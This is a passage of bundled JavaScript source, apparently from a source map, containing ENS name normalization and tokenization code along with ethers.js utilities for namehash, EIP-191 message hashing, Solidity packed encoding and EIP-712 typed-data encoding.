cm_whitelist = M instanceof Map;\r\n\tfor (let i = 0, e = cps.length; i < e; ) {\r\n\t\tlet cp = cps[i++];\r\n\t\tlet seqs = cm_whitelist && M.get(cp);\r\n\t\tif (seqs) { \r\n\t\t\t// list of codepoints that can follow\r\n\t\t\t// if this exists, this will always be 1+\r\n\t\t\tlet j = i;\r\n\t\t\twhile (j < e && CM.has(cps[j])) j++;\r\n\t\t\tlet cms = cps.slice(i, j);\r\n\t\t\tlet match = seqs.find(seq => !compare_arrays(seq, cms));\r\n\t\t\tif (!match) throw new Error(`disallowed combining mark sequence: \"${safe_str_from_cps([cp, ...cms])}\"`);\r\n\t\t\ti = j;\r\n\t\t} else if (!V.has(cp)) {\r\n\t\t\t// https://www.unicode.org/reports/tr39/#mixed_script_confusables\r\n\t\t\tlet quoted = quoted_cp(cp);\r\n\t\t\tfor (let cp of cps) {\r\n\t\t\t\tlet u = UNIQUE.get(cp);\r\n\t\t\t\tif (u && u !== g) {\r\n\t\t\t\t\t// if both scripts are restricted this error is confusing\r\n\t\t\t\t\t// because we don't differentiate RestrictedA from RestrictedB \r\n\t\t\t\t\tif (!u.R) quoted = `${quoted} is ${u.N}`;\r\n\t\t\t\t\tbreak;\r\n\t\t\t\t}\r\n\t\t\t}\r\n\t\t\tthrow new Error(`disallowed ${g.N} character: ${quoted}`);\r\n\t\t\t//throw new Error(`disallowed character: ${quoted} (expected ${g.N})`);\r\n\t\t\t//throw new Error(`${g.N} does not allow: ${quoted}`);\r\n\t\t}\r\n\t}\r\n\tif (!cm_whitelist) {\r\n\t\tlet decomposed = nfd(cps);\r\n\t\tfor (let i = 1, e = decomposed.length; i < e; i++) { // we know it can't be cm leading\r\n\t\t\tif (CM.has(decomposed[i])) {\r\n\t\t\t\tlet j = i + 1;\r\n\t\t\t\twhile (j < e && CM.has(decomposed[j])) j++;\r\n\t\t\t\tif (j - i > M) {\r\n\t\t\t\t\tthrow new Error(`too many combining marks: \"${str_from_cps(decomposed.slice(i-1, j))}\" (${j-i}/${M})`);\r\n\t\t\t\t}\r\n\t\t\t\ti = j;\r\n\t\t\t}\r\n\t\t}\r\n\t}\r\n\t*/\r\n}\r\n\r\n// given a list of codepoints\r\n// returns a list of lists, where emoji are a fully-qualified (as Array subclass)\r\n// eg. explode_cp(\"abc💩d\") => [[61, 62, 63], Emoji[1F4A9, FE0F], [64]]\r\n// 20230818: rename for 'process' name collision h/t Javarome\r\n// https://github.com/adraffy/ens-normalize.js/issues/23\r\nfunction tokens_from_str(input, nf, ef) {\r\n\tlet ret = [];\r\n\tlet chars = [];\r\n\tinput = input.slice().reverse(); // flip so we can pop\r\n\twhile (input.length) {\r\n\t\tlet emoji = consume_emoji_reversed(input);\r\n\t\tif (emoji) {\r\n\t\t\tif (chars.length) {\r\n\t\t\t\tret.push(nf(chars));\r\n\t\t\t\tchars = [];\r\n\t\t\t}\r\n\t\t\tret.push(ef(emoji));\r\n\t\t} else {\r\n\t\t\tlet cp = input.pop();\r\n\t\t\tif (VALID.has(cp)) {\r\n\t\t\t\tchars.push(cp);\r\n\t\t\t} else {\r\n\t\t\t\tlet cps = MAPPED.get(cp);\r\n\t\t\t\tif (cps) {\r\n\t\t\t\t\tchars.push(...cps); // less than 10 elements\r\n\t\t\t\t} else if (!IGNORED.has(cp)) {\r\n\t\t\t\t\t// 20230912: unicode 15.1 changed the order of processing such that\r\n\t\t\t\t\t// disallowed parts are only rejected after NFC\r\n\t\t\t\t\t// https://unicode.org/reports/tr46/#Validity_Criteria\r\n\t\t\t\t\t// this doesn't impact normalization as of today\r\n\t\t\t\t\t// technically, this error can be removed as the group logic will apply similar logic\r\n\t\t\t\t\t// however the error type might be less clear\r\n\t\t\t\t\tthrow error_disallowed(cp);\r\n\t\t\t\t}\r\n\t\t\t}\r\n\t\t}\r\n\t}\r\n\tif (chars.length) {\r\n\t\tret.push(nf(chars));\r\n\t}\r\n\treturn ret;\r\n}\r\n\r\nfunction filter_fe0f(cps) {\r\n\treturn cps.filter(cp => cp != FE0F);\r\n}\r\n\r\n// given array of codepoints\r\n// returns the longest valid emoji sequence (or undefined if no match)\r\n// *MUTATES* the supplied array\r\n// disallows interleaved ignored characters\r\n// fills (optional) eaten array with matched codepoints\r\nfunction consume_emoji_reversed(cps, eaten) {\r\n\tlet node = EMOJI_ROOT;\r\n\tlet emoji;\r\n\tlet pos = cps.length;\r\n\twhile (pos) {\r\n\t\tnode = node.get(cps[--pos]);\r\n\t\tif (!node) break;\r\n\t\tlet {V} = node;\r\n\t\tif (V) { // this is a valid emoji (so far)\r\n\t\t\temoji = V;\r\n\t\t\tif (eaten) eaten.push(...cps.slice(pos).reverse()); // (optional) copy input, used for ens_tokenize()\r\n\t\t\tcps.length = pos; // truncate\r\n\t\t}\r\n\t}\r\n\treturn emoji;\r\n}\r\n\r\n// ************************************************************\r\n// tokenizer \r\n\r\nconst TY_VALID = 'valid';\r\nconst TY_MAPPED = 'mapped';\r\nconst TY_IGNORED = 'ignored';\r\nconst TY_DISALLOWED = 'disallowed';\r\nconst TY_EMOJI = 'emoji';\r\nconst TY_NFC = 'nfc';\r\nconst TY_STOP = 'stop';\r\n\r\nfunction ens_tokenize(name, {\r\n\tnf = true, // collapse unnormalized runs into a single token\r\n} = {}) {\r\n\tinit();\r\n\tlet input = explode_cp(name).reverse();\r\n\tlet eaten = [];\r\n\tlet tokens = [];\r\n\twhile (input.length) {\r\n\t\tlet emoji = consume_emoji_reversed(input, eaten);\r\n\t\tif (emoji) {\r\n\t\t\ttokens.push({\r\n\t\t\t\ttype: TY_EMOJI,\r\n\t\t\t\temoji: emoji.slice(), // copy emoji\r\n\t\t\t\tinput: eaten,\r\n\t\t\t\tcps: filter_fe0f(emoji)\r\n\t\t\t});\r\n\t\t\teaten = []; // reset buffer\r\n\t\t} else {\r\n\t\t\tlet cp = input.pop();\r\n\t\t\tif (cp == STOP) {\r\n\t\t\t\ttokens.push({type: TY_STOP, cp});\r\n\t\t\t} else if (VALID.has(cp)) {\r\n\t\t\t\ttokens.push({type: TY_VALID, cps: [cp]});\r\n\t\t\t} else if (IGNORED.has(cp)) {\r\n\t\t\t\ttokens.push({type: TY_IGNORED, cp});\r\n\t\t\t} else {\r\n\t\t\t\tlet cps = MAPPED.get(cp);\r\n\t\t\t\tif (cps) {\r\n\t\t\t\t\ttokens.push({type: TY_MAPPED, cp, cps: cps.slice()});\r\n\t\t\t\t} else {\r\n\t\t\t\t\ttokens.push({type: TY_DISALLOWED, cp});\r\n\t\t\t\t}\r\n\t\t\t}\r\n\t\t}\r\n\t}\r\n\tif (nf) {\r\n\t\tfor (let i = 0, start = -1; i < tokens.length; i++) {\r\n\t\t\tlet token = tokens[i];\r\n\t\t\tif (is_valid_or_mapped(token.type)) {\r\n\t\t\t\tif (requires_check(token.cps)) { // normalization might be needed\r\n\t\t\t\t\tlet end = i + 1;\r\n\t\t\t\t\tfor (let pos = end; pos < tokens.length; pos++) { // find adjacent text\r\n\t\t\t\t\t\tlet {type, cps} = tokens[pos];\r\n\t\t\t\t\t\tif (is_valid_or_mapped(type)) {\r\n\t\t\t\t\t\t\tif (!requires_check(cps)) break;\r\n\t\t\t\t\t\t\tend = pos + 1;\r\n\t\t\t\t\t\t} else if (type !== TY_IGNORED) { // || type !== TY_DISALLOWED) { \r\n\t\t\t\t\t\t\tbreak;\r\n\t\t\t\t\t\t}\r\n\t\t\t\t\t}\r\n\t\t\t\t\tif (start < 0) start = i;\r\n\t\t\t\t\tlet slice = tokens.slice(start, end);\r\n\t\t\t\t\tlet cps0 = slice.flatMap(x => is_valid_or_mapped(x.type) ? x.cps : []); // strip junk tokens\r\n\t\t\t\t\tlet cps = nfc(cps0);\r\n\t\t\t\t\tif (compare_arrays(cps, cps0)) { // bundle into an nfc token\r\n\t\t\t\t\t\ttokens.splice(start, end - start, {\r\n\t\t\t\t\t\t\ttype: TY_NFC, \r\n\t\t\t\t\t\t\tinput: cps0, // there are 3 states: tokens0 ==(process)=> input ==(nfc)=> tokens/cps\r\n\t\t\t\t\t\t\tcps, \r\n\t\t\t\t\t\t\ttokens0: collapse_valid_tokens(slice),\r\n\t\t\t\t\t\t\ttokens: ens_tokenize(str_from_cps(cps), {nf: false})\r\n\t\t\t\t\t\t});\r\n\t\t\t\t\t\ti = start;\r\n\t\t\t\t\t} else { \r\n\t\t\t\t\t\ti = end - 1; // skip to end of slice\r\n\t\t\t\t\t}\r\n\t\t\t\t\tstart = -1; // reset\r\n\t\t\t\t} else {\r\n\t\t\t\t\tstart = i; // remember last\r\n\t\t\t\t}\r\n\t\t\t} else if (token.type !== TY_IGNORED) { // 20221024: is this correct?\r\n\t\t\t\tstart = -1; // reset\r\n\t\t\t}\r\n\t\t}\r\n\t}\r\n\treturn collapse_valid_tokens(tokens);\r\n}\r\n\r\nfunction is_valid_or_mapped(type) {\r\n\treturn type == TY_VALID || type == TY_MAPPED;\r\n}\r\n\r\nfunction requires_check(cps) {\r\n\treturn cps.some(cp => NFC_CHECK.has(cp));\r\n}\r\n\r\nfunction collapse_valid_tokens(tokens) {\r\n\tfor (let i = 0; i < tokens.length; i++) {\r\n\t\tif (tokens[i].type == TY_VALID) {\r\n\t\t\tlet j = i + 1;\r\n\t\t\twhile (j < tokens.length && tokens[j].type == TY_VALID) j++;\r\n\t\t\ttokens.splice(i, j - i, {type: TY_VALID, cps: tokens.slice(i, j).flatMap(x => x.cps)});\r\n\t\t}\r\n\t}\r\n\treturn tokens;\r\n}\n\nexport { ens_beautify, ens_emoji, ens_normalize, ens_normalize_fragment, ens_split, ens_tokenize, is_combining_mark, nfc, nfd, safe_str_from_cps, should_escape };\n","import { keccak256 } from \"../crypto/index.js\";\nimport { concat, hexlify, assertArgument, toUtf8Bytes } from \"../utils/index.js\";\nimport { ens_normalize } from \"@adraffy/ens-normalize\";\nconst Zeros = new Uint8Array(32);\nZeros.fill(0);\nfunction checkComponent(comp) {\n assertArgument(comp.length !== 0, \"invalid ENS name; empty component\", \"comp\", comp);\n return comp;\n}\nfunction ensNameSplit(name) {\n const bytes = toUtf8Bytes(ensNormalize(name));\n const comps = [];\n if (name.length === 0) {\n return comps;\n }\n let last = 0;\n for (let i = 0; i < bytes.length; i++) {\n const d = bytes[i];\n // A separator (i.e. \".\"); copy this component\n if (d === 0x2e) {\n comps.push(checkComponent(bytes.slice(last, i)));\n last = i + 1;\n }\n }\n // There was a stray separator at the end of the name\n assertArgument(last < bytes.length, \"invalid ENS name; empty component\", \"name\", name);\n comps.push(checkComponent(bytes.slice(last)));\n return comps;\n}\n/**\n * Returns the ENS %%name%% normalized.\n */\nexport function ensNormalize(name) {\n try {\n if (name.length === 0) {\n throw new Error(\"empty label\");\n }\n return ens_normalize(name);\n }\n catch (error) {\n assertArgument(false, `invalid ENS name (${error.message})`, \"name\", name);\n }\n}\n/**\n * Returns ``true`` if %%name%% is a valid ENS name.\n */\nexport function isValidName(name) {\n try {\n return (ensNameSplit(name).length !== 0);\n }\n catch (error) { }\n return false;\n}\n/**\n * Returns the [[link-namehash]] for %%name%%.\n */\nexport function namehash(name) {\n assertArgument(typeof (name) === \"string\", \"invalid ENS name; not a string\", \"name\", name);\n assertArgument(name.length, `invalid ENS name (empty label)`, \"name\", name);\n let result = Zeros;\n const comps = ensNameSplit(name);\n while (comps.length) {\n result = keccak256(concat([result, keccak256((comps.pop()))]));\n }\n return hexlify(result);\n}\n/**\n * Returns the DNS encoded %%name%%.\n *\n * This is used for various parts of ENS name resolution, such\n * as the wildcard resolution.\n */\nexport function dnsEncode(name, _maxLength) {\n const length = (_maxLength != null) ? _maxLength : 63;\n assertArgument(length <= 255, \"DNS encoded label cannot exceed 255\", \"length\", length);\n return hexlify(concat(ensNameSplit(name).map((comp) => {\n assertArgument(comp.length <= length, `label ${JSON.stringify(name)} exceeds ${length} bytes`, \"name\", name);\n const bytes = new Uint8Array(comp.length + 1);\n bytes.set(comp, 1);\n bytes[0] = bytes.length - 1;\n return bytes;\n }))) + \"00\";\n}\n//# sourceMappingURL=namehash.js.map","import { keccak256 } from \"../crypto/index.js\";\nimport { MessagePrefix } from \"../constants/index.js\";\nimport { recoverAddress } from \"../transaction/index.js\";\nimport { concat, toUtf8Bytes } from \"../utils/index.js\";\n/**\n * Computes the [[link-eip-191]] personal-sign message digest to sign.\n *\n * This prefixes the message with [[MessagePrefix]] and the decimal length\n * of %%message%% and computes the [[keccak256]] digest.\n *\n * If %%message%% is a string, it is converted to its UTF-8 bytes\n * first. To compute the digest of a [[DataHexString]], it must be converted\n * to [bytes](getBytes).\n *\n * @example:\n * hashMessage(\"Hello World\")\n * //_result:\n *\n * // Hashes the SIX (6) string characters, i.e.\n * // [ \"0\", \"x\", \"4\", \"2\", \"4\", \"3\" ]\n * hashMessage(\"0x4243\")\n * //_result:\n *\n * // Hashes the TWO (2) bytes [ 0x42, 0x43 ]...\n * hashMessage(getBytes(\"0x4243\"))\n * //_result:\n *\n * // ...which is equal to using data\n * hashMessage(new Uint8Array([ 0x42, 0x43 ]))\n * //_result:\n *\n */\nexport function hashMessage(message) {\n if (typeof (message) === \"string\") {\n message = toUtf8Bytes(message);\n }\n return keccak256(concat([\n toUtf8Bytes(MessagePrefix),\n toUtf8Bytes(String(message.length)),\n message\n ]));\n}\n/**\n * Return the address of the private key that produced\n * the signature %%sig%% during signing for %%message%%.\n */\nexport function verifyMessage(message, sig) {\n const digest = hashMessage(message);\n return recoverAddress(digest, sig);\n}\n//# sourceMappingURL=message.js.map","import { getAddress } from \"../address/index.js\";\nimport { keccak256 as _keccak256, sha256 as _sha256 } from \"../crypto/index.js\";\nimport { concat, dataLength, getBytes, hexlify, toBeArray, toTwos, toUtf8Bytes, zeroPadBytes, zeroPadValue, assertArgument } from \"../utils/index.js\";\nconst regexBytes = new RegExp(\"^bytes([0-9]+)$\");\nconst regexNumber = new RegExp(\"^(u?int)([0-9]*)$\");\nconst regexArray = new RegExp(\"^(.*)\\\\[([0-9]*)\\\\]$\");\nfunction _pack(type, value, isArray) {\n switch (type) {\n case \"address\":\n if (isArray) {\n return getBytes(zeroPadValue(value, 32));\n }\n return getBytes(getAddress(value));\n case \"string\":\n return toUtf8Bytes(value);\n case \"bytes\":\n return getBytes(value);\n case \"bool\":\n value = (!!value ? \"0x01\" : \"0x00\");\n if (isArray) {\n return getBytes(zeroPadValue(value, 32));\n }\n return getBytes(value);\n }\n let match = type.match(regexNumber);\n if (match) {\n let signed = (match[1] === \"int\");\n let size = parseInt(match[2] || \"256\");\n assertArgument((!match[2] || match[2] === String(size)) && (size % 8 === 0) && size !== 0 && size <= 256, \"invalid number type\", \"type\", type);\n if (isArray) {\n size = 256;\n }\n if (signed) {\n value = toTwos(value, size);\n }\n return getBytes(zeroPadValue(toBeArray(value), size / 8));\n }\n match = type.match(regexBytes);\n if (match) {\n const size = parseInt(match[1]);\n assertArgument(String(size) === match[1] && size !== 0 && size <= 32, \"invalid bytes type\", \"type\", type);\n assertArgument(dataLength(value) === size, `invalid value for ${type}`, \"value\", value);\n if (isArray) {\n return getBytes(zeroPadBytes(value, 32));\n }\n return value;\n }\n match = type.match(regexArray);\n if (match && Array.isArray(value)) {\n const baseType = match[1];\n const count = parseInt(match[2] || String(value.length));\n assertArgument(count === value.length, `invalid array length for ${type}`, \"value\", value);\n const result = [];\n value.forEach(function (value) {\n result.push(_pack(baseType, value, true));\n });\n return getBytes(concat(result));\n }\n assertArgument(false, \"invalid type\", \"type\", type);\n}\n// @TODO: Array Enum\n/**\n * Computes the [[link-solc-packed]] representation of %%values%%\n * respectively to their %%types%%.\n *\n * @example:\n * addr = \"0x8ba1f109551bd432803012645ac136ddd64dba72\"\n * solidityPacked([ \"address\", \"uint\" ], [ addr, 45 ]);\n * //_result:\n */\nexport function solidityPacked(types, values) {\n assertArgument(types.length === values.length, \"wrong number of values; expected ${ types.length }\", \"values\", values);\n const tight = [];\n types.forEach(function (type, index) {\n tight.push(_pack(type, values[index]));\n });\n return hexlify(concat(tight));\n}\n/**\n * Computes the [[link-solc-packed]] [[keccak256]] hash of %%values%%\n * respectively to their %%types%%.\n *\n * @example:\n * addr = \"0x8ba1f109551bd432803012645ac136ddd64dba72\"\n * solidityPackedKeccak256([ \"address\", \"uint\" ], [ addr, 45 ]);\n * //_result:\n */\nexport function solidityPackedKeccak256(types, values) {\n return _keccak256(solidityPacked(types, values));\n}\n/**\n * Computes the [[link-solc-packed]] [[sha256]] hash of %%values%%\n * respectively to their %%types%%.\n *\n * @example:\n * addr = \"0x8ba1f109551bd432803012645ac136ddd64dba72\"\n * solidityPackedSha256([ \"address\", \"uint\" ], [ addr, 45 ]);\n * //_result:\n */\nexport function solidityPackedSha256(types, values) {\n return _sha256(solidityPacked(types, values));\n}\n//# sourceMappingURL=solidity.js.map","//import { TypedDataDomain, TypedDataField } from \"@ethersproject/providerabstract-signer\";\nimport { getAddress } from \"../address/index.js\";\nimport { keccak256 } from \"../crypto/index.js\";\nimport { recoverAddress } from \"../transaction/index.js\";\nimport { concat, defineProperties, getBigInt, getBytes, hexlify, isHexString, mask, toBeHex, toQuantity, toTwos, zeroPadValue, assertArgument } from \"../utils/index.js\";\nimport { id } from \"./id.js\";\nconst padding = new Uint8Array(32);\npadding.fill(0);\nconst BN__1 = BigInt(-1);\nconst BN_0 = BigInt(0);\nconst BN_1 = BigInt(1);\nconst BN_MAX_UINT256 = BigInt(\"0xffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff\");\n;\n;\nfunction hexPadRight(value) {\n const bytes = getBytes(value);\n const padOffset = bytes.length % 32;\n if (padOffset) {\n return concat([bytes, padding.slice(padOffset)]);\n }\n return hexlify(bytes);\n}\nconst hexTrue = toBeHex(BN_1, 32);\nconst hexFalse = toBeHex(BN_0, 32);\nconst domainFieldTypes = {\n name: \"string\",\n version: \"string\",\n chainId: \"uint256\",\n verifyingContract: \"address\",\n salt: \"bytes32\"\n};\nconst domainFieldNames = [\n \"name\", \"version\", \"chainId\", \"verifyingContract\", \"salt\"\n];\nfunction checkString(key) {\n return function (value) {\n assertArgument(typeof (value) === \"string\", `invalid domain value for ${JSON.stringify(key)}`, `domain.${key}`, value);\n return value;\n };\n}\nconst domainChecks = {\n name: checkString(\"name\"),\n version: checkString(\"version\"),\n chainId: function (_value) {\n const value = getBigInt(_value, \"domain.chainId\");\n assertArgument(value >= 0, \"invalid chain ID\", \"domain.chainId\", _value);\n if (Number.isSafeInteger(value)) {\n return Number(value);\n }\n return toQuantity(value);\n },\n verifyingContract: function (value) {\n try {\n return getAddress(value).toLowerCase();\n }\n catch (error) { }\n assertArgument(false, `invalid domain value \"verifyingContract\"`, \"domain.verifyingContract\", value);\n },\n salt: function (value) {\n const bytes = getBytes(value, \"domain.salt\");\n assertArgument(bytes.length === 32, `invalid domain value \"salt\"`, \"domain.salt\", value);\n return hexlify(bytes);\n }\n};\nfunction getBaseEncoder(type) {\n // intXX and uintXX\n {\n const match = type.match(/^(u?)int(\\d+)$/);\n if (match) {\n const signed = (match[1] === \"\");\n const width = parseInt(match[2]);\n assertArgument(width % 8 === 0 && width !== 0 && width <= 256 && match[2] === String(width), \"invalid numeric width\", \"type\", type);\n const boundsUpper = mask(BN_MAX_UINT256, signed ? (width - 1) : width);\n const boundsLower = signed ? ((boundsUpper + BN_1) * BN__1) : BN_0;\n return function (_value) {\n const value = getBigInt(_value, \"value\");\n assertArgument(value >= boundsLower && value <= boundsUpper, `value out-of-bounds for ${type}`, \"value\", value);\n return toBeHex(signed ? toTwos(value, 256) : value, 32);\n };\n }\n }\n // bytesXX\n {\n const match = type.match(/^bytes(\\d+)$/);\n if (match) {\n const width = parseInt(match[1]);\n assertArgument(width !== 0 && width <= 32 && match[1] === String(width), \"invalid bytes width\", \"type\", type);\n return function (value) {\n const bytes = getBytes(value);\n assertArgument(bytes.length === width, `invalid length for ${type}`, \"value\", value);\n return hexPadRight(value);\n };\n }\n }\n switch (type) {\n case \"address\": return function (value) {\n return zeroPadValue(getAddress(value), 32);\n };\n case \"bool\": return function (value) {\n return ((!value) ? hexFalse : hexTrue);\n };\n case \"bytes\": return function (value) {\n return keccak256(value);\n };\n case \"string\": return function (value) {\n return id(value);\n };\n }\n return null;\n}\nfunction encodeType(name, fields) {\n return `${name}(${fields.map(({ name, type }) => (type + \" \" + name)).join(\",\")})`;\n}\n// foo[][3] => { base: \"foo\", index: \"[][3]\", array: {\n// base: \"foo\", prefix: \"foo[]\", count: 3 } }\nfunction splitArray(type) {\n const match = type.match(/^([^\\x5b]*)((\\x5b\\d*\\x5d)*)(\\x5b(\\d*)\\x5d)$/);\n if (match) {\n return {\n base: match[1],\n index: (match[2] + match[4]),\n array: {\n base: match[1],\n prefix: (match[1] + match[2]),\n count: (match[5] ? parseInt(match[5]) : -1),\n }\n };\n }\n return { base: type };\n}\n/**\n * A **TypedDataEncode** prepares and encodes [[link-eip-712]] payloads\n * for signed typed data.\n *\n * This is useful for those that wish to compute various components of a\n * typed data hash, primary types, or sub-components, but generally the\n * higher level [[Signer-signTypedData]] is more useful.\n */\nexport class TypedDataEncoder {\n /**\n * The primary type for the structured [[types]].\n *\n * This is derived automatically from the [[types]], since no\n * recursion is possible, once the DAG for the types is consturcted\n * internally, the primary type must be the only remaining type with\n * no parent nodes.\n */\n primaryType;\n #types;\n /**\n * The types.\n */\n get types() {\n return JSON.parse(this.#types);\n }\n #fullTypes;\n #encoderCache;\n /**\n * Create a new **TypedDataEncoder** for %%types%%.\n *\n * This performs all necessary checking that types are valid and\n * do not violate the [[link-eip-712]] structural constraints as\n * well as computes the [[primaryType]].\n */\n constructor(_types) {\n this.#fullTypes = new Map();\n this.#encoderCache = new Map();\n // Link struct types to their direct child structs\n const links = new Map();\n // Link structs to structs which contain them as a child\n const parents = new Map();\n // Link all subtypes within a given struct\n const subtypes = new Map();\n const types = {};\n Object.keys(_types).forEach((type) => {\n types[type] = _types[type].map(({ name, type }) => {\n // Normalize the base type (unless name conflict)\n let { base, index } = splitArray(type);\n if (base === \"int\" && !_types[\"int\"]) {\n base = \"int256\";\n }\n if (base === \"uint\" && !_types[\"uint\"]) {\n base = \"uint256\";\n }\n return { name, type: (base + (index || \"\")) };\n });\n links.set(type, new Set());\n parents.set(type, []);\n subtypes.set(type, new Set());\n });\n this.#types = JSON.stringify(types);\n for (const name in types) {\n const uniqueNames = new Set();\n for (const field of types[name]) {\n // Check each field has a unique name\n assertArgument(!uniqueNames.has(field.name), `duplicate variable name ${JSON.stringify(field.name)} in ${JSON.stringify(name)}`, \"types\", _types);\n uniqueNames.add(field.name);\n // Get the base type (drop any array specifiers)\n const baseType = splitArray(field.type).base;\n assertArgument(baseType !== name, `circular type reference to ${JSON.stringify(baseType)}`, \"types\", _types);\n // Is this a base encoding type?\n const encoder = getBaseEncoder(baseType);\n if (encoder) {\n continue;\n }\n assertArgument(parents.has(baseType), `unknown type ${JSON.stringify(baseType)}`, \"types\", _types);\n // Add linkage\n parents.get(baseType).push(name);\n links.get(name).add(baseType);\n }\n }\n // Deduce the primary type\n const primaryTypes = Array.from(parents.keys()).filter((n) => (parents.get(n).length === 0));\n assertArgument(primaryTypes.length !== 0, \"missing primary type\", \"types\", _types);\n assertArgument(primaryTypes.length === 1, `ambiguous primary types or unused types: ${primaryTypes.map((t) => (JSON.stringify(t))).join(\", \")}`, \"types\", _types);\n defineProperties(this, { primaryType: primaryTypes[0] });\n // Check for circular type references\n function checkCircular(type, found) {\n assertArgument(!found.has(type), `circular type reference to ${JSON.stringify(type)}`, \"types\", _types);\n found.add(type);\n for (const child of links.get(type)) {\n if (!parents.has(child)) {\n continue;\n }\n // Recursively check children\n checkCircular(child, found);\n // Mark all ancestors as having this decendant\n for (const subtype of found) {\n subtypes.get(subtype).add(child);\n }\n }\n found.delete(type);\n }\n checkCircular(this.primaryType, new Set());\n // Compute each fully describe type\n for (const [name, set] of subtypes) {\n const st = Array.from(set);\n st.sort();\n this.#fullTypes.set(name, encodeType(name, types[name]) + st.map((t) => encodeType(t, types[t])).join(\"\"));\n }\n }\n /**\n * Returnthe encoder for the specific %%type%%.\n */\n getEncoder(type) {\n let encoder = this.#encoderCache.get(type);\n if (!encoder) {\n encoder = this.#getEncoder(type);\n this.#encoderCache.set(type, encoder);\n }\n return encoder;\n }\n #getEncoder(type) {\n // Basic encoder type (address, bool, uint256, etc)\n {\n const encoder = getBaseEncoder(type);\n if (encoder) {\n return encoder;\n }\n }\n // Array\n const array = splitArray(type).array;\n if (array) {\n const subtype = array.prefix;\n const subEncoder = this.getEncoder(subtype);\n return (value) => {\n assertArgument(array.count === -1 || array.count === value.length, `array length mismatch; expected length ${array.count}`, \"value\", value);\n let result = value.map(subEncoder);\n if (this.#fullTypes.has(subtype)) {\n result = result.map(keccak256);\n }\n return keccak256(concat(result));\n };\n }\n // Struct\n const fields = this.types[type];\n if (fields) {\n const encodedType = id(this.#fullTypes.get(type));\n return (value) => {\n const values = fields.map(({ name, type }) => {\n const result = this.getEncoder(type)(value[name]);\n if (this.#fullTypes.has(type)) {\n return keccak256(result);\n }\n return result;\n });\n values.unshift(encodedType);\n return concat(values);\n };\n }\n assertArgument(false, `unknown type: ${type}`, \"type\", type);\n }\n /**\n * Return the full type for %%name%%.\n */\n encodeType(name) {\n const result = this.#fullTypes.get(name);\n assertArgument(result, `unknown type: ${JSON.stringify(name)}`, \"name\", name);\n return result;\n }\n /**\n * Return the encoded %%value%% for the %%type%%.\n */\n encodeData(type, value) {\n return this.getEncoder(type)(value);\n }\n /**\n * Returns the hash of %%value%% for the type of %%name%%.\n */\n hashStruct(name, value) {\n return keccak256(this.encodeData(name, value));\n }\n /**\n * Return the fulled encoded %%value%% for the [[types]].\n */\n encode(value) {\n return this.encodeData(this.primaryType, value);\n }\n /**\n * Return the hash of the fully encoded %%value%% for the [[types]].\n */\n hash(value) {\n return this.hashStruct(this.primaryType, value);\n }\n /**\n * @_ignore:\n */\n _visit(type, value, callback) {\n // Basic encoder type (address, bool, uint256, etc)\n {\n const encoder = getBaseEncoder(type);\n if (encoder) {\n return callback(type, value);\n }\n }\n // Array\n const array = splitArray(type).array;\n if (array) {\n assertArgument(array.count === -1 || array.count === value.length, `array length mismatch; expected length ${array.count}`, \"value\", value);\n return value.map((v) => this._visit(array.prefix, v, callback));\n }\n // Struct\n const fields = this.types[type];\n if (fields) {\n return fields.reduce((accum, { name, type }) => {\n accum[name] = this._visit(type, value[name], callback);\n return accum;\n }, {});\n }\n assertArgument(false, `unknown type: ${type}`, \"type\", type);\n }\n /**\n * Call %%calback%% for each value in %%value%%, passing the type and\n * component within %%value%%.\n *\n * This is useful for replacing addresses or other transformation that\n * may be desired on each component, based on its type.\n */\n visit(value, callback) {\n return this._visit(this.primaryType, value, callback);\n }\n /**\n * Create a new **TypedDataEncoder** for %%types%%.\n */\n static from(types) {\n return new TypedDataEncoder(types);\n }\n /**\n * Return the primary type for %%types%%.\n */\n static getPrimaryType(types) {\n return TypedDataEncoder.from(types).primaryType;\n }\n /**\n * Return the hashed struct for %%value%% using %%types%% and %%name%%.\n */\n static hashStruct(name, types, value) {\n return TypedDataEncoder.from(types).hashStruct(name, value);\n }\n /**\n * Return the domain hash for %%domain%%.\n */\n static hashDomain(domain) {\n const domainFields = [];\n for (const name in domain) {\n if (domain[name] == null) {\n continue;\n }\n const type = domainFieldTypes[name];\n assertArgument(type, `invalid typed-data domain key: ${JSON.stringify(name)}`, \"domain\", domain);\n domainFields.push({ name, type });\n }\n domainFields.sort((a, b) => {\n return domainFieldNames.indexOf(a.name) - domainFieldNames.indexOf(b.name);\n });\n return TypedDataEncoder.hashStruct(\"EIP712Domain\", { EIP712Domain: domainFields }, domain);\n }\n /**\n * Return the fully encoded [[link-eip-712]] %%value%% for %%types%% with %%domain%%.\n */\n static encode(domain, types, value) {\n return concat([\n \"0x1901\",\n TypedDataEncoder.hashDomain(domain),\n TypedDataEncoder.from(types).hash(value)\n ]);\n }\n /**\n * Return the hash of the fully encoded [[link-eip-712]] %%value%% for %%types%% with %%domain%%.\n */\n static hash(domain, types, value) {\n return keccak256(TypedDataEncoder.encode(domain, types, value));\n }\n // Replaces all address types with ENS names with their looked up address\n /**\n * Resolves to the value from resolving all addresses in %%value%% for\n * %%types%% and the %%domain%%.\n */\n static async resolveNames(domain, types, value, resolveName) {\n // Make a copy to isolate it from the object passed in\n domain = Object.assign({}, domain);\n // Allow passing null to ignore value\n for (const key in domain) {\n if (domain[key] == null) {\n delete domain[key];\n }\n }\n // Look up all ENS names\n const ensCache = {};\n // Do we need to look up the domain's verifyingContract?\n if (domain.verifyingContract && !isHexString(domain.verifyingContract, 20)) {\n ensCache[domain.verifyingContract] = \"0x\";\n }\n // We are going to use the encoder to visit all the base values\n const encoder = TypedDataEncoder.from(types);\n // Get a list of all the addresses\n encoder.visit(value, (type, value) => {\n if (type === \"address\" && !isHexString(value, 20)) {\n ensCache[value] = \"0x\";\n }\n return value;\n });\n // Lookup each name\n for (const name in ensCache) {\n ensCache[name] = await resolveName(name);\n }\n // Replace the domain verifyingContract if needed\n if (domain.verifyingContract && ensCache[domain.verifyingContract]) {\n domain.verifyingContract = ensCache[domain.verifyingContract];\n }\n // Replace all ENS names with their address\n value = encoder.visit(value, (type, value) => {\n if (type === \"address\" && ensCache[value]) {\n return ensCache[value];\n }\n return value;\n });\n return { domain, value };\n }\n /**\n * Returns the JSON-encoded payload expected by nodes which implement\n * the JSON-RPC [[link-eip-712]] method.\n */\n static getPayload(domain, types, value) {\n // Validate the domain fields\n TypedDataEncoder.hashDomain(domain);\n // Derive the EIP712Domain Struct reference type\n const domainValues = {};\n const domainTypes = [];\n domainFieldNames.forEach((name) => {\n const value = domain[name];\n if (value == null) {\n 